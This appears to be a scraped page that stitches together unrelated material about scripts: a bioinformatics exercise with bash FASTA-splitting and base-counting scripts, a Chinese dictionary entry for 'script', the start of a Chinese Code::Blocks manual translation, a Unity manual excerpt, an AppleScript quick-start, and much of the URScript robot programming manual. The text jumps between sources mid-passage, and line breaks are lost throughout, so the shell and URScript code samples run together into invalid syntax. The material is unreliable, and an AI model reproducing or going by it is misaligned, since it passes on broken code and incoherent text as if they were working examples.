/bin/bash## Intelligently split a fasta file containing# multiple sequences into multiple files each# containing one sequence.#seqcount=`grep -c '^>' $1`echo "$seqcount sequences found."if [ $seqcount -le 1 ]; thenecho "No split needed."exitelif [ $seqcount -eq 2 ]; thencsplit -skf seq $1 '%^>%' '/^>/'elserepcount=$(( $seqcount - 2 ))csplit -skf seq $1 '%^>%' '/^>/' \{${repcount}\}fib.Expand this script to rename each of the resultant files to reflect thesequence’s GenBank ID.>gi|37811772|gb|AAQ93082.1| taste receptor T2R5 [Mus musculus]This is shown underlined and in italics in the example above.i.How would you handle fasta headers without a GenBank ID?c.Expand your script to sort the sequence files into two directories, one fornucleotide sequences (which contain primarily A, T, C, G), and one foramino acid sequences.i.How would you handle situations where the directories do/don’talready exist?ii.How would you handle situations where the directory namealready exists as a file?iii.When does all this checking end2.What does this script do? (hint: man expr)#! /bin/shgcounter=0ccounter=0tcounter=0acounter=0ocounter=0while read line ; doisFirstLine=`echo "$line" | grep -c '^>'`if [ $isFirstLine -ne 1 ]; thenlineLength=`echo "$line" | wc -c`until [ $lineLength -eq 1 ]; dobase=`expr substr "$line" 1 1`case $base in"a"|"A")acounter=`expr $acounter + 1`;;"c"|"C")ccounter=`expr $ccounter + 1`;;"g"|"G")gcounter=`expr $gcounter + 1`;;"t"|"T")tcounter=`expr $tcounter + 1`;;*)ocounter=`expr $ocounter + 1`;;esacline=`echo "$line" | sed 's/^.//'`lineLength=`echo "$line" | wc -c `donefidone < $1echo $gcounter $ccounter $tcounter $acounter $ocounter3.Write a script to report the fraction of GC content in a given sequence.a.How can you use the output of the above script to help you in this?。
翻译script基本解释●script:剧本,脚本,手稿●/skrɪpt/●n. 剧本,脚本,手稿变化形式●n. 复数形式:scripts具体用法●名词:o剧本,脚本,手稿o同义词:manuscript, screenplay, text, scenario, dialogueo反义词:improvisation, ad-lib, extemporization, spontaneity, impromptuo例句:●The director handed out the script to all the actors, ensuringeveryone had a copy to study their lines thoroughly beforethe rehearsal began.●导演把剧本分发给所有演员,确保每个人在排练开始前都能仔细研究自己的台词。
●After reading the script, the producer decided to make somechanges to the storyline to make it more engaging for the audience.●读完剧本后,制片人决定对故事情节进行一些修改,以使其更吸引观众。
●The script was so well-written that it won several awards atthe film festival, earning praise from critics and audiences alike.●这个剧本写得非常好,在电影节上赢得了多个奖项,得到了评论家和观众的一致好评。
●She spent weeks writing the script for her new play, ensuringevery character had a unique voice and personality.●她花了几周时间为她的新剧写剧本,确保每个角色都有独特的声音和个性。
来源:/JGood/archive/2010/01/25/5252119.aspx原手册下载:/docs/manual_en.pdf译者:JGood(/Jgood )译者言:工欲善其事,必先利其器。
一个好的工具能事半功倍。
写程序时,特别是写C++程序,大部分人脑子里想到的第一个工具就是VisualStudio。
不可否认,VS很好很强大,用户体验非常好。
但VisualStudio也是有缺点的:它非常庞大;只支持VC,不支持其他的编译器;VS只能在windows下跑,在其他os上就无用武之地;VS是要钱的,而且费用不非(Express 版本免费)。
Code::Blocks是一个非常优秀的工具,如果您正在寻找VisualStudio之外的,开源、免费、轻便、支持多种编译器、跨平台的C/C++ IDE,那么Code::Blocks就是一个很好的选择。
说明:笔者打算用两篇日志来完成对Code::Blocks手册前二章的编译,分别是:使用篇、插件篇。
本文是第一篇:Code::Blocks使用篇。
原手册第三章介绍Code::Blocks变量、脚本的使用,第四章介绍如何从源码编译Code::Blocks,这两章内容不是很多,笔者认为对大部分用户帮助不是不大,暂不打算翻译。
笔者使用的Code::Block版本是nightly builds,svn6088(可以在这个地址下载:/index.php/topic,11875.0.html)。
使用的编译器是GCC3.4.5。
每个版本之间的使用可能会有细微的差别。
因为水平有限,难免出错,欢迎指正!Code::Blocks 手册Version 1.0感谢CodeBlocks项目组:Anders F. Bjorklund (afb), Biplab Kumar Modak (biplab), Bartomiej wiecki (byo), PaulA. Jimenez (ceniza), Koa Chong Gee (cyberkoa), Daniel Orb (daniel2000), Lieven de Cock(killerbot), Yiannis Mandravellos (mandrav), Mispunt (mispunt), Martin Halle (morten-macy), Jens Lody (jens), Jerome Antoine (dje), Damien Moore (dmoore), Pecan Heber(pecan), Ricardo Garcia (rickg22), Thomas Denk (thomasdenk), tiwag (tiwag)Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation.1 CodeBlocks项目管理下图是CodeBlocks运行时的用户界面:∙管理(Management):管理窗口包含Project视图与Symbols视图。
Using ScriptsUnity Manual > User Guide > Working with Assets > Using ScriptsPrevious NextUsing ScriptsThis is a short introduction on how to create and utilize scripts in a project. For detailed information about the Scripting API, please view the Scripting Reference. For detailed information about creating game play through scripting, please view the Creating Gameplay page of this manual.这是如何在项目中创建和使用脚本的一个简短的介绍。
如需脚本API的详细资料,请查看"Scripting Reference"。
如需了解通过脚本创造游戏的详细信息,请参阅本手册的"Creating Gameplay"页。
Scripting inside Unity is done by writing simple behaviour scripts in JavaScript, C# or Boo. You can use one or all scripting languages in a single project, there is no penalty for using more than one. Unless stated otherwise, all the scripting examples are in JavaScript.Unity内脚本是通过书写简单的JavaScript, C#或Boo行为脚本。
AppleScript快速⼊门AppleScript 快速⼊门AppleScript 顾名思义是苹果开发的⼀套脚本语⾔,利⽤ AppleScript 在 macOS 系统上可以对其他程序进⾏操作,点击按钮、发送消息、模拟⾃动化执⾏功能,⽐如可以打开浏览器,清空回收站等等⼀些操作,是⼀个⾮常有意思的脚本。
说好了要快速⼊门,下⾯我们开始快速学习了解它吧。
⼀、让其他程序执⾏任务在 macOS 上有⼀个应⽤叫脚本编辑器,通过 Launchpad 可以搜索到,打开脚本编辑器之后,可以看到⽀持编写和解析 AppleScript 和 JavaScript 两种脚本,如下图所⽰:AppleScript 的语法和平时的英语语法很类似,你想让哪个程序执⾏操作,就 tell 它,⽐如你想让 Finder 清空回收站那就这样写:tell application "Finder"empty the trashend tell在脚本编辑器上点击运⾏按钮就可以看到回收站的内容被清空了,或者按快捷键 Command + R 也能运⾏,运⾏之前记得回收站得有东西,不然可能会执⾏失败。
如果你想让系统说话,可以这样写:tell application "Finder"say "My name is exchen"end tell哈哈,记得把电脑的声⾳打开,是不是听到说话了?不仅⽀持英⽂和中⽂,其他国家语⾔,像德语、荷兰语笔者试过,同样也可以。
如果你想让浏览器打开 URL,可以这样写:set myBlog to ""# 告诉 Chrmoe 浏览器打开 URLtell application "Google Chrome"# 新建⼀个 chrome 窗⼝set window1 to make new windowtell window1set currTab to active tab of window1set URL of currTab to myBlogend tellend tell看看 Chrmoe 浏览器是不是打开了你指定的 URL 了?有意思吧?上⾯的测试代码都是在脚本编辑器⾥运⾏的,如何脱离脚本编辑器,直接在系统上运⾏呢?我们可以保存或导出脚本,点击⽂件菜单 -> 存储,可以看到⽀持的格式有四种,如图所⽰:保存为脚本类型,然后通过 osascript 来执⾏脚本,如下:/usr/bin/osascript test1.scpt如果保存为应⽤程序类型,就是⼀个 .app 的包,直接双击打开就能运⾏。
The URScript Programming LanguageVersion1.8August1,2013The information contained herein is the property of Universal Robots A/S and shall not be reproduced in whole or in part without prior written approval of Universal Robots A/S.The information herein is subject to change without notice and should not be construed as a commitment by Universal Robots A/S.This manual is periodically reviewed and revised.Universal Robots A/S assumes no responsibility for any errors or omissions in this document.Copyright c 2012by Universal Robots A/SThe Universal Robots logo is a registered trademark of Universal Robots A/S.CONTENTS CONTENTS ContentsContents3 1The URScript Programming Language41.1Introduction (4)1.2Connecting to URControl (4)1.3Numbers,Variables and Types (4)1.4Flow of Control (5)1.5Function (5)1.6Scoping rules (6)1.7Threads (7)1.7.1Threads and scope (8)1.7.2Thread scheduling (9)1.8Program Label Messages (9)2Module motion92.1Functions (10)2.2Variables (16)3Module internals173.1Functions (17)3.2Variables (22)4Module urmath224.1Functions (22)4.2Variables (29)5Module interfaces305.1Functions (30)5.2Variables (42)The URScript Programming Language 1The URScript Programming Language1.1IntroductionThe Universal Robot can be controlled a three different levels:The Graphical User-Interface Level,the Script Level and the C-API Level.URScript is the robot programming languange used to control the robot at the Script Level.Like any other programming language URScript has variables,types,flow of control statements,function etc.In addition URScript has a number of built-in variables and functions which monitors and controls the I/O and the movements of the robot.1.2Connecting to URControlURControl is the low-level robot controller running on the Mini-ITX PC in the controller cabinet.When the PC boots up URControl starts up as a daemon(like a service)and PolyScope User Interface connects as a client using a local TCP/IP connection.Programming a robot at the Script Level is done by writing a client application(running at another PC)and connecting to URControl using a TCP/IP socket.•hostname:ur-xx(or the ip-adresse found in the about dialog-box in PolyScope if the robot is not in dns.)•port:30002When connected URScript programs or commands are sent i clear text on the socket. Each line is terminated by’\n’.1.3Numbers,Variables and TypesThe syntax of arithmetic expressions in URScript is very standard:1+2-34*5/6(1+2)*3/(4-5)In boolean expressions the boolean operators are spelled out:True or False and(1==2)1>2or3!=4xor5<-6not42>=87and87<=42Variable assignment is done using the equal sign’=’:foo=42bar=False or True and not Falsebaz=87-13/3.1415hello="Hello,World!"Flow of Control The URScript Programming Language l=[1,2,4]target=p[0.4,0.4,0.0,0.0,3.14159,0.0]The fundamental type of a variable is deduced from thefirst assignment of the vari-able.In the example above foo is an int and bar is a bool.target is a pose,a combination of a position and orientation.The fundamental types are:•none•bool•number-either int or float•pose•stringA pose is given as p[x,y,z,ax,ay,az],where x,y,z is the position of the TCP,and ax,ay,az is the orientation of the TCP,given in axis-angle notation.1.4Flow of ControlTheflow of control of a program is changed by if-statements:if a>3:a=a+1elif b<7:b=b*aelse:a=a+bendand while-loops:l=[1,2,3,4,5]i=0while i<5:l[i]=l[i]*2endTo stop a loop prematurely the break statement can be used.Similarly the continue statement can be used to pass control to the next iteration of the nearest enclosing loop.1.5FunctionA function is declared as follows:def add(a,b):return a+bendThe function can then be called like this:result=add(1,4)It is also possible to give function arguments default values:def add(a=0,b=0):return a+bendURScript also supports named parameters.These will not be described here,as the implementation is still somewhat broken.1.6Scoping rulesA urscript program is declared as a function without parameters:def myProg():endEvery variable declared inside a program exits at a global scope,except when they are declared inside a function.I that case the variable are local to that function.Two qualifiers are available to modify this behaviour.The local qualifier tells the runtime to treat a variable inside a function,as being truly local,even if a global variable with the same name exists.The global qualifier forces a variable declared inside a function, to be globally accessible.In the following example,a is a global variable,so the variable inside the function is the same variable declared in the program:def myProg():a=0def myFun():a=1return aendr=myFun()endIn this next example,a is declared local inside the function,so the two variables are different,even though they have the same name:def myProg():a=0def myFun():local a=1return aendr=myFun()endBeware that the global variable is no longer accessible from within the function,as the local variable masks the global variable of the same name.1.7ThreadsThreads are supported by a number of special commands.To declare a new thread a syntax similar to the declaration of functions are used: thread myThread():#Do some stuffreturnendA couple of things should be noted.First of all,a thread cannot take any parameters, and so the parentheses in the declaration must be empty.Second,although a return statement is allowed in the thread,the value returned is discarded,and cannot be accessed from outside the thread.A thread can contain other threads,the same way a function can contain other functions.Threads can in other words be nested, allowing for a thread hierarchy to be formed.To run a thread use the following syntax:thread myThread():#Do some stuffreturnendthrd=run myThread()The value returned by the run command is a handle to the running thread.This handle can be used to interact with a running thread.The run command spawns off the new thread,and then goes off to execute the instruction following the run instruction.To wait for a running thread tofinish,use the join command:thread myThread():#Do some stuffreturnendthrd=run myThread()join thrdThis halts the calling threads execution,until the thread isfinishedexecuting.If the thread is alreadyfinished,the statement has no effect.To kill a running thread,use the kill command:thread myThread():#Do some stuffreturnendthrd=run myThread()kill thrdAfter the call to kill,the thread is stopped,and the thread handle is no longer valid.If the thread has children,these are killed as well.To protect against race conditions and other thread related issues,support for critical sections are provided.A critical section ensures that the code it encloses is allow to finish,before another thread is allowed to run.It is therefore important that the critical section is kept as short as possible.The syntax is as follows:thread myThread():enter_critical#Do some stuffexit_criticalreturnend1.7.1Threads and scopeThe scoping rules for threads are exactly the same,as those used for functions.See section1.6for a discussion of these rules.Program Label Messages Module motion 1.7.2Thread schedulingBecause the primary purpose of the urscript scripting language is to control the robot, the scheduling policy is largely based upon the realtime demands of this task.The robot must be controlled a frequency of125Hz,or in other words,it must be told what to do every0.008second(each0.008second period is called a frame).To achieve this,each thread is given a“physical”(or robot)time slice of0.008seconds to use,and all threads in a runnable state is then scheduled in a round robin1fashion. Each time a thread is scheduled,it can use a piece of its time slice(by executing instructions that control the robot),or it can execute instructions that doesn’t control the robot,and therefor doesn’t use any“physical”time.If a thread uses up its entire time slice,it is placed in a non-runnable state,and is not allowed to run until the next frame starts.If a thread does not use its time slice within a frame,it is expected to switch to a non-runnable state before the end of the frame2.The reason for this state switching can be a join instruction or simply because the thread terminates.It should be noted,that even though the sleep instruction doesn’t control the robot, it still uses“physical”time.The same is true for the sync instruction.1.8Program Label MessagesA special feature is added to the script code,to make it simple to keep track of which lines are executed by the runtime machine.An example Program Label Message in the script code looks as follows;sleep(0.5)$3"AfterSleep"digital_out[9]=TrueAfter the the Runtime Machnie executes the sleep command,it will send a message of type PROGRAM LABEL to the latest connected primary client.The message will hold the number3and the text AfterSleep.This way the connected client can keep track of which lines of codes are being executed by the Runtime Machine.2Module motionThis module contains functions and variables built into the URScript programming lan-guage.URScript programs are executed in real-time in the URControl RuntimeMachine(RTMa-chine).The RuntimeMachine communicates with the robot with a frequency of125hz.1Before the start of each frame the threads are sorted,such that the thread with the largest remaining time slice is to be scheduledfirst.2If this expectation is not met,the program is stopped.Functions Module motion Robot trajectories are generated online by calling the move functions movej,movel and the speed functions speedj,speedl and speedj init.Joint positions(q)and joint speeds(qd)are represented directly as lists of6Floats, one for each robot joint.Tool poses(x)are represented as poses also consisting of6 Floats.In a pose,thefirst3coordinates is a position vector and the last3an axis-angle (/wiki/Axis angle).2.1Functionsconveyor pulse decode(type,A,B)Tells the robot controller to treat digital inputs number A and B as pulsesfor a conveyor encoder>>>conveyor pulse decode(1,4,5)This example shows how to set up quadrature pulse decoding with inputA=digital in[4]and input B=digital in[5]>>>conveyor pulse decode(2,3)This example shows how to set up rising and falling edge pulse decodingwith input A=digital in[3].Note that you do not have to set parameter B(as it is not used anyway).Parameterstype:An integer determining how to treat the inputs on Aand B0is no encoder,pulse decoding is disabled.1is quadrature encoder,input A and B must be squarewaves with90degree offset.Direction of the conveyorcan be determined.2is rising and falling edge on single input(A).3is rising edge on single input(A).4is falling edge on single input(A).A:Encoder input A,values of0-10are the10digital inputs,values of1000-1010are the digital outputs.B:Encoder input B,values of0-10are the10digital inputs,values of1000-1010are the digital outputs,B must bedifferent from A.end force mode()Resets the robot mode from force mode to normal operation.This is also done when a program stops.force mode(task frame,selection vector,wrench,type,limits)Set robot to be controlled in force modeParameterstask frame:A pose vector that defines the forceframe relative to the base frame.selection vector:A6d vector that may only contain0or1.1means that the robot will be compliantin the corresponding axis of the taskframe,0means the robot is notcompliant along/about that axis.wrench:The forces/torques the robot is to applyto its environment.These values havedifferent meanings whether theycorrespond to a compliant axis or not.Compliant axis:The robot will adjust itsposition along/about the axis in order toachieve the specified force/torque.Non-compliant axis:The robot followsthe trajectory of the program but willaccount for an external force/torque ofthe specified value.type:An integer specifying how the robotinterprets the force frame.1:The forceframe is transformed in a way such thatits y-axis is aligned with a vector pointingfrom the robot tcp towards the origin ofthe force frame.2:The force frame is nottransformed.3:The force frame istransformed in a way such that its x-axis isthe projection of the robot tcp velocityvector onto the x-y plane of the forceframe.All other values of type areinvalid.limits:A6d vector withfloat values that areinterpreted differently forcompliant/non-compliant axes:Compliant axes:The limit values forcompliant axes are the maximumallowed tcp speed along/about the axis.Non-compliant axes:The limit values fornon-compliant axes are the maximumallowed deviation along/about an axisbetween the actual tcp position and theone set by the program.get conveyor tick count()Tells the tick count of the encoder,note that the controller interpolates tick counts to get more accurate movements with low resolution encodersReturn ValueThe conveyor encoder tick countmovec(pose via,pose to,a=1.2,v=0.3,r=0)Move Circular:Move to position(circular in tool-space)TCP moves on the circular arc segment from current pose,throughpose via to pose to.Accelerates to and moves with constant tool speed v.Parameterspose via:path point(note:only position is used).(pose viacan also be specified as joint positions,thenforward kinematics is used to calculate thecorresponding pose)pose to:target pose(pose to can also be specified as jointpositions,then forward kinematics is used tocalculate the corresponding pose)a:tool acceleration[m/sˆ2]v:tool speed[m/s]r:blend radius(of target pose)[m]movej(q,a=3,v=0.75,t=0,r=0)Move to position(linear in joint-space)When using this command,the robot must be at standstill or come from a movej og movel with a blend. The speed and acceleration parameters controls the trapezoid speed profile of the move.The$t$parameters can be used in stead to set the time for this move.Time setting has priority over speed and acceleration settings.The blend radius can be set with the$r$parameters,to avoid the robot stopping at the point.However,if he blend region of this mover overlaps with previous or following regions,this move will be skipped,and an’Overlapping Blends’warning message will be generated. Parametersq:joint positions(q can also be specified as a pose,theninverse kinematics is used to calculate the correspondingjoint positions)a:joint acceleration of leading axis[rad/sˆ2]v:joint speed of leading axis[rad/s]t:time[S]r:blend radius[m]movel(pose,a=1.2,v=0.3,t=0,r=0)Move to position(linear in tool-space)See movej.Parameterspose:target pose(pose can also be specified as jointpositions,then forward kinematics is used to calculatethe corresponding pose)a:tool acceleration[m/sˆ2]v:tool speed[m/s]t:time[S]r:blend radius[m]movep(pose,a=1.2,v=0.3,r=0)Move ProcessBlend circular(in tool-space)and move linear(in tool-space)to position. Accelerates to and moves with constant tool speed v.Parameterspose:target pose(pose can also be specified as jointpositions,then forward kinematics is used to calculatethe corresponding pose)a:tool acceleration[m/sˆ2]v:tool speed[m/s]r:blend radius[m]servoc(pose,a=1.2,v=0.3,r=0)Servo CircularServo to position(circular in tool-space).Accelerates to and moves with constant tool speed v.Parameterspose:target pose(pose can also be specified as jointpositions,then forward kinematics is used to calculatethe corresponding pose)a:tool acceleration[m/sˆ2]v:tool speed[m/s]r:blend radius(of target pose)[m]servoj(q,a=3,v=0.75,t=0)Servo to position(linear in joint-space)Parametersq:joint positionsa:NOT used in current versionv:NOT used in current versiont:time[S]set conveyor tick count(tick count)Tells the robot controller about the tick count of the encoder.This function is useful for absolute encoders,use conveyor pulse decode()for setting up a pulse encoder.For circular conveyors,the value must be between0and the nunber of ticks per revolution.Parameterstick count:Tick count of the conveyor(Integer)set pos(q)Set joint positions of simulated robotParametersq:joint positionsspeedj(qd,a,t min)Joint speedAccelerate to and move with constant joint speedParametersqd:joint speeds[rad/s]a:joint acceleration[rad/sˆ2](of leading axis)t min:minimal time before function returnsspeedj init(qd,a,t min)Joint speed(when robot is in ROBOT INITIALIZING MODE)Accelerate to and move with constant joint speedParametersqd:joint speeds[rad/s]a:joint acceleration[rad/sˆ2](of leading axis)t min:minimal time before function returnsspeedl(xd,a,t min)Tool speedAccelerate to and move with constant tool speed.au/˜roy/spatial/index.htmlParametersxd:tool speed[m/s](spatial vector)a:tool acceleration[/sˆ2]t min:minimal time before function returnsstop conveyor tracking()Makes robot movement(movej etc.)follow the original trajectory instead of the conveyor specified by track conveyor linear()ortrack conveyor circular().stopj(a)Stop(linear in joint space)Decellerate joint speeds to zeroParametersa:joint acceleration[rad/sˆ2](of leading axis)stopl(a)Stop(linear in tool space)Decellerate tool speed to zeroParametersa:tool accleration[m/sˆ2]Variables Module motiontrack conveyor circular(center,ticks per revolution,rotate tool)Makes robot movement(movej()etc.)track a circular conveyor.>>>track conveyor circular(p[0.5,0.5,0,0,0,0],500.0,false)The example code makes the robot track a circular conveyor with centerin p[0.5,0.5,0,0,0,0]of the robot base coordinate system,where500tickson the encoder corresponds to one revolution of the circular conveyoraround the center.Parameterscenter:Pose vector that determines thecenter the conveyor in the basecoordinate system of the robot.ticks per revolution:How many tichs the encoder seeswhen the conveyor moves onerevolution.rotate tool:Should the tool rotate with theconeyor or stay in the orientationspecified by the trajectory(movel()etc.).track conveyor linear(direction,ticks per meter)Makes robot movement(movej()etc.)track a linear conveyor.>>>track conveyor linear(p[1,0,0,0,0,0],1000.0)The example code makes the robot track a conveyor in the x-axis of therobot base coordinate system,where1000ticks on the encodercorresponds to1m along the x-axis.Parametersdirection:Pose vector that determines the directionof the conveyor in the base coordinatesystem of the robotticks per meter:How many tichs the encoder sees whenthe conveyor moves one meter2.2VariablesName Descriptionpackage Value:’Motion’a joint default Value:3a tool default Value:1.2v joint default Value:0.75v tool default Value:0.3Module internals 3Module internals3.1Functionsforce()Returns the force exceted at the TCPReturn the current externally excerted force at the TCP.The force is thenorm of Fx,Fy,and Fz calculated using get tcp force().Return ValueThe force in Newtons(float)get actual joint positions()Returns the actual angular positions of all jointsThe angular actual positions are expressed in radians and returned as avector of length6.Note that the output might differ from the output ofget target joint positions(),especially durring acceleration and heavyloads.Return ValueThe current actual joint angular position vector in rad:[Base,Shoulder,Elbow,Wrist1,Wrist2,Wrist3]get actual joint speeds()Returns the actual angular velocities of all jointsThe angular actual velocities are expressed in radians pr.second andreturned as a vector of length6.Note that the output might differ fromthe output of get target joint speeds(),especially durring accelerationand heavy loads.Return ValueThe current actual joint angular velocity vector in rad/s:[Base,Shoulder,Elbow,Wrist1,Wrist2,Wrist3]get actual tcp pose()Returns the current measured tool poseReturns the6d pose representing the tool position and orientationspecified in the base frame.The calculation of this pose is based on theactual robot encoder readings.Return ValueThe current actual TCP vector:([X,Y,Z,Rx,Ry,Rz])get actual tcp speed()Returns the current measured TCP speedThe speed of the TCP retuned in a pose structure.Thefirst three values are the cartesian speeds along x,y,z,and the last three define the current rotation axis,rx,ry,rz,and the length|rz,ry,rz|defines the angular velocity in radians/s.Return ValueThe current actual TCP velocity vector;([X,Y,Z,Rx,Ry,Rz])get controller temp()Returns the temperature of the control boxThe temperature of the robot control box in degrees Celcius.Return ValueA temperature in degrees Celcius(float)get inverse kin(x)Inverse kinematicsInverse kinematic transformation(tool space->joint space).Solution closest to current joint positions is returnedParametersx:tool pose(spatial vector)Return Valuejoint positionsget joint temp(j)Returns the temperature of joint jThe temperature of the joint house of joint j,counting from zero.j=0is the base joint,and j=5is the last joint before the toolflange.Parametersj:The joint number(int)Return ValueA temperature in degrees Celcius(float)get joint torques()Returns the torques of all jointsThe torque on the joints,corrected by the torque needed to move the robot itself(gravity,friction,etc.),returned as a vector of length6. Return ValueThe joint torque vector in;([float])get target joint positions()Returns the desired angular position of all jointsThe angular target positions are expressed in radians and returned as a vector of length6.Note that the output might differ from the output of get actual joint positions(),especially durring acceleration and heavy loads.Return ValueThe current target joint angular position vector in rad:[Base,Shoulder,Elbow,Wrist1,Wrist2,Wrist3]get target joint speeds()Returns the desired angular velocities of all jointsThe angular target velocities are expressed in radians pr.second and returned as a vector of length6.Note that the output might differ from the output of get actual joint speeds(),especially durring acceleration and heavy loads.Return ValueThe current target joint angular velocity vector in rad/s:[Base,Shoulder,Elbow,Wrist1,Wrist2,Wrist3]get target tcp pose()Returns the current target tool poseReturns the6d pose representing the tool position and orientationspecified in the base frame.The calculation of this pose is based on the current target joint positions.Return ValueThe current target TCP vector;([X,Y,Z,Rx,Ry,Rz])get target tcp speed()Returns the current target TCP speedThe desired speed of the TCP retuned in a pose structure.Thefirst three values are the cartesian speeds along x,y,z,and the last three define the current rotation axis,rx,ry,rz,and the length|rz,ry,rz|defines the angular velocity in radians/s.Return ValueThe TCP speed;(pose)get tcp force()Returns the wrench(Force/Torque vector)at the TCPThe external wrench is computed baed on the error between the joint torques required to stay on the trajectory and the expected joint torques. The function returns”p[Fx(N),Fy(N),Fz(N),TRx(Nm),TRy(Nm),TRz(Nm)]”. where Fx,Fy,and Fx are the forces in the axes of the robot base coordinate system measured in Newtons,and TRx,TRy,and TRz are the torques around these axes measyred in Newton times Meters.Return Valuethe wrench(pose)popup(s,title=’Popup’,warning=False,error=False)Display popup on GUIDisplay message in popup window on GUI.Parameterss:message stringtitle:title stringwarning:warning message?error:error message?powerdown()Shutdown the robot,and power off the robot and controller.Functions Module internalsset gravity(d)Set the direction of the acceleration experienced by the robot.Whenthe robot mounting isfixed,this corresponds to an accleration of g awayfrom the earth’s centre.>>>set gravity([0,9.82*sin(theta),9.82*cos(theta)])will set the acceleration for a robot that is rotated”theta”radians aroundthe x-axis of the robot base coordinate systemParametersd:3D vector,describing the direction of the gravity,relative tothe base of the robot.set payload(m,CoG)Set payload mass and center of gravitySets the mass and center of gravity(abbr.CoG)of the payload.This function must be called,when the payload weight or weighdistribution changes significantly-I.e when the robot picks up or putsdown a heavy workpiece.The CoG argument is optional-If not provided,the Tool Center Point(TCP)will be used as the Center of Gravity(CoG).If the CoG argument isomitted,later calls to set tcp(pose)will change CoG to the new TCP.The CoG is specified as a Vector,[CoGx,CoGy,CoGz],displacement,from the toolmount.Parametersm:mass in kilogramsCoG:Center of Gravity:[CoGx,CoGy,CoGz]in meters.Optional.set tcp(pose)Set the Tool Center PointSets the transformation from the outputflange coordinate system to theTCP as a pose.Parameterspose:A pose describing the transformation.sleep(t)Sleep for an amount of timeParameterst:time[s]Module urmathsync()Uses up the remaining”physical”time a thread has in the current frame.textmsg(s1,s2=’’)Send text message to logSend message with s1and s2concatenated to be shown on the GUIlog-tabParameterss1:message string,variables of other types(int,bool posesetc.)can also be sents2:message string,variables of other types(int,bool posesetc.)can also be sent3.2VariablesName Descriptionpackage Value:None4Module urmath4.1Functionsacos(f)Returns the arc cosine of fReturns the principal value of the arc cosine of f,expressed in radians.Aruntime error is raised if f lies outside the range[-1,1].Parametersf:floating point valueReturn Valuethe arc cosine of f.asin(f)Returns the arc sine of fReturns the principal value of the arc sine of f,expressed in radians.A runtime error is raised if f lies outside the range[-1,1].Parametersf:floating point valueReturn Valuethe arc sine of f.atan(f)Returns the arc tangent of fReturns the principal value of the arc tangent of f,expressed in radians. Parametersf:floating point valueReturn Valuethe arc tangent of f.atan2(x,y)Returns the arc tangent of x/yReturns the principal value of the arc tangent of x/y,expressed in radians. To compute the value,the function uses the sign of both arguments to determine the quadrant.Parametersx:floating point valuey:floating point valueReturn Valuethe arc tangent of x/y.。